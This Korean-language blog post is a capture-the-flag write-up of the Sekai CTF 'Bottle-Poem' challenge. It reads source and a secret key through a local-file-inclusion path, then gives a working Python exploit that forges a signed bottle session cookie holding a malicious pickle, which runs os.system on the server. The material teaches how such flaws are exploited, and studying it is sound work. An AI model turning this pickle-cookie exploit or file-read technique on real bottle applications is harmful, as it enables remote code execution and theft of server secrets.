Back
Featured image of post Sekai CTF Bottle-Poem Write Up

Sekai CTF Bottle-Poem Write Up

Write Up

문제를 접속하면 아래와 같은 페이지가 나온다.

링크들을 클릭해보면 아래와 같은 URL로 이동이 되면서 시가 나오는 페이지로 이동이 된다. 해당 링크에서 LFI공격이 가능하다고 생각이 들었고 공격이 가능했다.

http://localhost:8081/show?id=spring.txt

LFI를 통해 앱이 실행되고 있는 페이지로 이동을 하면 아래와 같은 소스를 확인 할 수 있다.

  • ‘/proc/self/cwd’는 현재 실행중인 프로세스의 디렉토리 표시하는 명령어다.
URL: http://localhost:8081/show?id=/proc/self/cwd/app.py

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

해당 소스를 보면 secret.py파일에서 sekai를 불러오는 것으로 보았을때 session에 사용되는 secret값을 추출하는 것을 추측할 수 있고, Python Bottle 프레임워크를 사용하는 것을 알 수 있다.

URL: http://localhost:8081/show?id=/proc/self/cwd/config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

bottle 프레임워크 관련 문서를 검색해보면 RCE가 가능한것으로 확인이 되는데. bottle.py에서 사용되는 cookie 값을 가지고 RCE가 가능한것을 알 수 있다.

def cookie_encode(data, key, digestmod=None):
    """ Encode and sign a pickle-able object. Return a (byte) string """
    depr(0, 13, "cookie_encode() will be removed soon.",
                "Do not use this API directly.")
    digestmod = digestmod or hashlib.sha256
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=digestmod).digest())
    return tob('!') + sig + tob('?') + msg

cookie_encode 코드를 가지고 exploit을 하면 flag를 txt로 생성하고, 해당 페이지에 접근하면 flag를 획득할 수 있다.

import os, hmac, hashlib, base64, pickle, requests

def tob(s, enc='utf8'):
    if isinstance(s, str):
        return s.encode(enc)
    return b'' if s is None else bytes(s)

class RCE(object):
    def __reduce__(self):
        import os
        return (os.system,("/flag > /dev/shm/sekaiflag.txt",))

msg = base64.b64encode(pickle.dumps(RCE(), -1))
sig = base64.b64encode(hmac.new(tob("Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"), msg, digestmod=hashlib.md5).digest())
payload = '"'+str(tob('!') + sig + tob('?') + msg).replace("b'", "")[:-1]+'"'
r = requests.get("http://localhost:8081/sign", cookies={"name": payload}) 
URL: http://localhost:8081/show?id=/dev/shm/sekaiflag.txt
SEKAI{W3lcome_To_Our_Bottle}

참고

https://aceatom.tistory.com/398

comments powered by Disqus